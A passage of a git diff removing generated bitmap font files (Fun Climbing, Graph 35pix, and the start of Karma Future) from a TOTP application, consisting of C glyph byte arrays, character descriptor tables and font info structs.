0x04, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x02, - 0xE0, - 0x01, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @72 '1' (16 pixels wide) */ - 0x00, - 0x02, - 0x00, - 0x03, - 0x80, - 0x03, - 0xC0, - 0x02, - 0x60, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x00, - - /* @108 '2' (16 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x07, - 0x60, - 0x04, - 0x20, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x08, - 0x02, - 0x08, - 0x02, - 0x00, - 0x01, - 0x00, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x40, - 0x00, - 0x60, - 0x00, - 0xC0, - 0x03, - 0x00, - 0x1C, - 0x00, - 0x00, - - /* @144 '3' (16 pixels wide) */ - 0x00, - 0x02, - 0x80, - 0x05, - 0x40, - 0x08, - 0x40, - 0x08, - 0x40, - 0x10, - 0x40, - 0x10, - 0x00, - 0x10, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x0C, - 0x00, - 0x06, - 0x00, - 0x03, - 0x80, - 0x0F, - 0x00, - 0x10, - 0x00, - 0x10, - 0x30, - 0x08, - 0xC0, - 0x07, - 0x00, - 0x00, - - /* @180 '4' (16 pixels wide) */ - 0x00, - 0x10, - 0x00, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x40, - 0x10, - 0x20, - 0x10, - 0x20, - 0x10, - 0x20, - 0x10, - 0x20, - 0x10, - 0x30, - 0x10, - 0xF0, - 0x1F, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - - /* @216 '5' (16 pixels wide) */ - 0x00, - 0x00, - 0x60, - 0x00, - 0xA0, - 0x03, - 0x20, - 0x04, - 0x20, - 0x00, - 0x30, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0xF0, - 0x00, - 0x80, - 0x03, - 0x00, - 0x04, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x04, - 0x80, - 0x03, - 0xF0, - 0x00, - 0x00, - 0x00, - - /* @252 '6' (16 pixels wide) */ - 0x00, - 0x00, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x18, - 0x03, - 0xC8, - 0x06, - 0x28, - 0x0C, - 0x18, - 0x08, - 0x18, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x10, - 0x08, - 0x30, - 0x0C, - 0xC0, - 0x07, - 0x00, - 0x00, - - /* @288 '7' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x0F, - 0xF0, - 0x09, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x06, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x03, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x01, - 0x00, - 0x00, - - /* @324 '8' (16 pixels wide) */ - 0x80, - 0x01, - 0x60, - 0x02, - 0x30, - 0x04, - 0x10, - 0x08, - 0x10, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x10, - 0x0C, - 0x10, - 0x04, - 0x60, - 0x03, - 0xC0, - 0x01, - 0x40, - 0x03, - 0x20, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0xC0, - 0x03, - 0x00, - 0x00, - - /* @360 '9' (16 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x01, - 0x20, - 0x02, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0xE0, - 0x03, - 0x00, - 0x02, - 0x00, - 0x02, - 0x00, - 0x01, - 0x00, - 0x01, - 0x80, - 0x00, - 0x80, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @396 'B' (16 pixels wide) */ - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0xE8, - 0x0F, - 0x38, - 0x10, - 0x10, - 0x10, - 0x10, - 0x30, - 0x10, - 0x10, - 0x10, - 0x18, - 0xF0, - 0x07, - 0x20, - 0x00, - - /* @432 'C' (16 pixels wide) */ - 0x00, - 0x03, - 0x80, - 0x06, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x08, - 0x40, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x40, - 0x00, - 0x40, - 0x08, - 0x40, - 0x08, - 0x40, - 0x08, - 0xC0, - 0x08, - 0x80, - 0x04, - 0x80, - 0x05, - 0x00, - 0x02, - - /* @468 'D' (16 pixels wide) */ - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x80, - 0x07, - 0x40, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x30, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x40, - 0x04, - 0x80, - 0x05, - 0x00, - 0x07, - - /* @504 'F' (16 pixels wide) */ - 0x00, - 0x02, - 0x80, - 0x0D, - 0xC0, - 0x08, - 0x40, - 0x10, - 0x60, - 0x10, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0xF8, - 0x01, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x20, - 0x00, - 0x40, - 0x00, - - /* @540 'G' (16 pixels wide) */ - 0x80, - 0x00, - 0x60, - 0x01, - 0x20, - 0x03, - 0x30, - 0x02, - 0x10, - 0x02, - 0x10, - 0x02, - 0x10, - 0x02, - 0x10, - 0x02, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0xD0, - 0x0F, - 0x10, - 0x02, - 0x10, - 0x01, - 0x20, - 0x01, - 0xE0, - 0x00, - 0x40, - 0x00, - - /* @576 'H' (16 pixels wide) */ - 0x00, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x18, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x0F, - 0x90, - 0x09, - 0xD0, - 0x18, - 0x50, - 0x10, - 0x30, - 0x10, - 0x30, - 0x10, - 0x10, - 0x10, - 0x00, - 0x00, - - /* @612 'J' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x00, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x04, - 0x20, - 0x02, - 0x20, - 0x02, - 0x60, - 0x03, - 0xC0, - 0x01, - 0x00, - 0x00, - - /* @648 'K' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x08, - 0x10, - 0x0C, - 0x10, - 0x02, - 0xB0, - 0x01, - 0xE0, - 0x00, - 0x60, - 0x00, - 0x60, - 0x00, - 0xA0, - 0x00, - 0x20, - 0x01, - 0x20, - 0x02, - 0x20, - 0x0C, - 0x20, - 0x08, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @684 'M' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x10, - 0x10, - 0x30, - 0x18, - 0x30, - 0x18, - 0x50, - 0x34, - 0x50, - 0x24, - 0xC8, - 0x22, - 0x88, - 0x22, - 0x88, - 0x21, - 0x08, - 0x21, - 0x04, - 0x60, - 0x04, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x02, - 0x40, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @720 'N' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x02, - 0x01, - 0x86, - 0x07, - 0x44, - 0x04, - 0x24, - 0x08, - 0x24, - 0x08, - 0x14, - 0x18, - 0x14, - 0x10, - 0x1C, - 0x10, - 0x0C, - 0x10, - 0x0C, - 0x10, - 0x08, - 0x10, - 0x00, - 0x10, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @756 'P' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0xE0, - 0x01, - 0x20, - 0x02, - 0x20, - 0x04, - 0x60, - 0x04, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x04, - 0x40, - 0x06, - 0x40, - 0x02, - 0xC0, - 0x01, - 0xC0, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x40, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @792 'Q' (16 pixels wide) */ - 0x00, - 0x00, - 0xC0, - 0x03, - 0x30, - 0x06, - 0x18, - 0x08, - 0x08, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x04, - 0x20, - 0x04, - 0x20, - 0x08, - 0x21, - 0x08, - 0x33, - 0x10, - 0x12, - 0x30, - 0x0E, - 0xC0, - 0x07, - 0x00, - 0x08, - 0x00, - 0x08, - 0x00, - 0x10, - 0x00, - 0x00, - - /* @828 'R' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x07, - 0x88, - 0x0D, - 0x48, - 0x08, - 0x68, - 0x00, - 0x28, - 0x00, - 0x28, - 0x00, - 0x18, - 0x00, - 0x18, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x10, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @864 'T' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0xE0, - 0x03, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x00, - 0x80, - 0x04, - 0x80, - 0x04, - 0x80, - 0x04, - 0x80, - 0x04, - 0x80, - 0x05, - 0x00, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @900 'V' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x08, - 0x10, - 0x10, - 0x10, - 0x10, - 0x18, - 0x10, - 0x08, - 0x10, - 0x08, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x04, - 0x20, - 0x02, - 0x20, - 0x02, - 0x20, - 0x01, - 0x40, - 0x01, - 0xC0, - 0x01, - 0xC0, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @936 'W' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x03, - 0x80, - 0x02, - 0x80, - 0x02, - 0x40, - 0x02, - 0x40, - 0x02, - 0x41, - 0x86, - 0x42, - 0x84, - 0x42, - 0x44, - 0x44, - 0x44, - 0x64, - 0x24, - 0x28, - 0x28, - 0x28, - 0x18, - 0x30, - 0x18, - 0x30, - 0x18, - 0x20, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @972 'X' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x08, - 0x08, - 0x10, - 0x04, - 0x20, - 0x04, - 0x40, - 0x02, - 0x80, - 0x03, - 0x80, - 0x01, - 0x80, - 0x03, - 0x40, - 0x02, - 0x30, - 0x04, - 0x18, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @1008 'Y' (16 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x08, - 0x08, - 0x08, - 0x08, - 0x08, - 0x0C, - 0x08, - 0x0C, - 0x08, - 0x0A, - 0x10, - 0x0A, - 0xF0, - 0x09, - 0x00, - 0x0C, - 0x10, - 0x04, - 0x10, - 0x04, - 0x20, - 0x02, - 0xE0, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, -}; - -/* Character descriptors for fun climbing (Demo) 18pt */ -/* { [Char width in bits], [Offset into funclimbingDemo_18ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO funclimbingDemo_18ptDescriptors[] = { - {16, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {16, 36}, /* 0 */ - {16, 72}, /* 1 */ - {16, 108}, /* 2 */ - {16, 144}, /* 3 */ - {16, 180}, /* 4 */ - {16, 216}, /* 5 */ - {16, 252}, /* 6 */ - {16, 288}, /* 7 */ - {16, 324}, /* 8 */ - {16, 360}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {16, 396}, /* B */ - {16, 432}, /* C */ - {16, 468}, /* D */ - {0, 0}, /* E */ - {16, 504}, /* F */ - {16, 540}, /* G */ - {16, 576}, /* H */ - {0, 0}, /* I */ - {16, 612}, /* J */ - {16, 648}, /* K */ - {0, 0}, /* L */ - {16, 684}, /* M */ - {16, 720}, /* N */ - {0, 0}, /* O */ - {16, 756}, /* P */ - {16, 792}, /* Q */ - {16, 828}, /* R */ - {0, 0}, /* S */ - {16, 864}, /* T */ - {0, 0}, /* U */ - {16, 900}, /* V */ - {16, 936}, /* W */ - {16, 972}, /* X */ - {16, 1008}, /* Y */ -}; - -/* Font information for fun climbing (Demo) 18pt */ -const FONT_INFO funclimbingDemo_18ptFontInfo = { - "Fun Climbing", - 18, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - funclimbingDemo_18ptDescriptors, /* Character descriptor array */ - funclimbingDemo_18ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/funclimbing/funclimbing.h b/applications/external/totp/lib/fonts/funclimbing/funclimbing.h deleted file mode 100644 index 26614adf1..000000000 --- a/applications/external/totp/lib/fonts/funclimbing/funclimbing.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -extern const FONT_INFO funclimbingDemo_18ptFontInfo; \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/graph35pix/graph35pix.c b/applications/external/totp/lib/fonts/graph35pix/graph35pix.c deleted file mode 100644 index d4edf52e2..000000000 --- a/applications/external/totp/lib/fonts/graph35pix/graph35pix.c +++ /dev/null @@ -1,941 +0,0 @@ -#include "graph35pix.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Graph 35+ pix 12pt -*/ - -/* Character bitmaps for Graph 35+ pix 12pt */ -const uint8_t graph35pix_12ptBitmaps[] = { - /* @0 '-' (10 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @28 '0' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0xC3, - 0x03, - 0xC3, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @56 '1' (10 pixels wide) */ - 0x30, - 0x00, - 0x30, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @84 '2' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - - /* @112 '3' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @140 '4' (10 pixels wide) */ - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xF0, - 0x00, - 0xF0, - 0x00, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @168 '5' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @196 '6' (10 pixels wide) */ - 0xF0, - 0x00, - 0xF0, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @224 '7' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @252 '8' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @280 '9' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - - /* @308 'B' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - - /* @336 'C' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - - /* @364 'D' (10 pixels wide) */ - 0x3F, - 0x00, - 0x3F, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - - /* @392 'F' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @420 'G' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x00, - 0x03, - 0x00, - 0xF3, - 0x03, - 0xF3, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFC, - 0x03, - 0xFC, - 0x03, - - /* @448 'H' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @476 'J' (10 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x3C, - 0x00, - 0x3C, - 0x00, - - /* @504 'K' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x33, - 0x00, - 0x33, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0x00, - 0x33, - 0x00, - 0x33, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @532 'M' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0xCF, - 0x03, - 0xCF, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @560 'N' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x0F, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xC3, - 0x03, - 0xC3, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @588 'P' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - - /* @616 'Q' (10 pixels wide) */ - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x3C, - 0x03, - 0x3C, - 0x03, - - /* @644 'R' (10 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x33, - 0x00, - 0x33, - 0x00, - 0xC3, - 0x00, - 0xC3, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @672 'T' (10 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @700 'V' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - - /* @728 'W' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0x33, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - - /* @756 'X' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - - /* @784 'Y' (10 pixels wide) */ - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0x03, - 0xCC, - 0x00, - 0xCC, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, - 0x30, - 0x00, -}; - -/* Character descriptors for Graph 35+ pix 12pt */ -/* { [Char width in bits], [Offset into graph35pix_12ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO graph35pix_12ptDescriptors[] = { - {10, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {10, 28}, /* 0 */ - {10, 56}, /* 1 */ - {10, 84}, /* 2 */ - {10, 112}, /* 3 */ - {10, 140}, /* 4 */ - {10, 168}, /* 5 */ - {10, 196}, /* 6 */ - {10, 224}, /* 7 */ - {10, 252}, /* 8 */ - {10, 280}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {10, 308}, /* B */ - {10, 336}, /* C */ - {10, 364}, /* D */ - {0, 0}, /* E */ - {10, 392}, /* F */ - {10, 420}, /* G */ - {10, 448}, /* H */ - {0, 0}, /* I */ - {10, 476}, /* J */ - {10, 504}, /* K */ - {0, 0}, /* L */ - {10, 532}, /* M */ - {10, 560}, /* N */ - {0, 0}, /* O */ - {10, 588}, /* P */ - {10, 616}, /* Q */ - {10, 644}, /* R */ - {0, 0}, /* S */ - {10, 672}, /* T */ - {0, 0}, /* U */ - {10, 700}, /* V */ - {10, 728}, /* W */ - {10, 756}, /* X */ - {10, 784}, /* Y */ -}; - -/* Font information for Graph 35+ pix 12pt */ -const FONT_INFO graph35pix_12ptFontInfo = { - "Graph 35pix", - 14, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - graph35pix_12ptDescriptors, /* Character descriptor array */ - graph35pix_12ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/graph35pix/graph35pix.h b/applications/external/totp/lib/fonts/graph35pix/graph35pix.h deleted file mode 100644 index 07838e3ba..000000000 --- a/applications/external/totp/lib/fonts/graph35pix/graph35pix.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for Graph 35+ pix 12pt */ -extern const FONT_INFO graph35pix_12ptFontInfo; diff --git a/applications/external/totp/lib/fonts/karma_future/karma_future.c b/applications/external/totp/lib/fonts/karma_future/karma_future.c deleted file mode 100644 index 23bebbc01..000000000 --- a/applications/external/totp/lib/fonts/karma_future/karma_future.c +++ /dev/null @@ -1,1173 +0,0 @@ -#include "karma_future.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Karma Future 14pt -*/ - -/* Character bitmaps for Karma Future 14pt */ -const uint8_t karmaFuture_14ptBitmaps[] 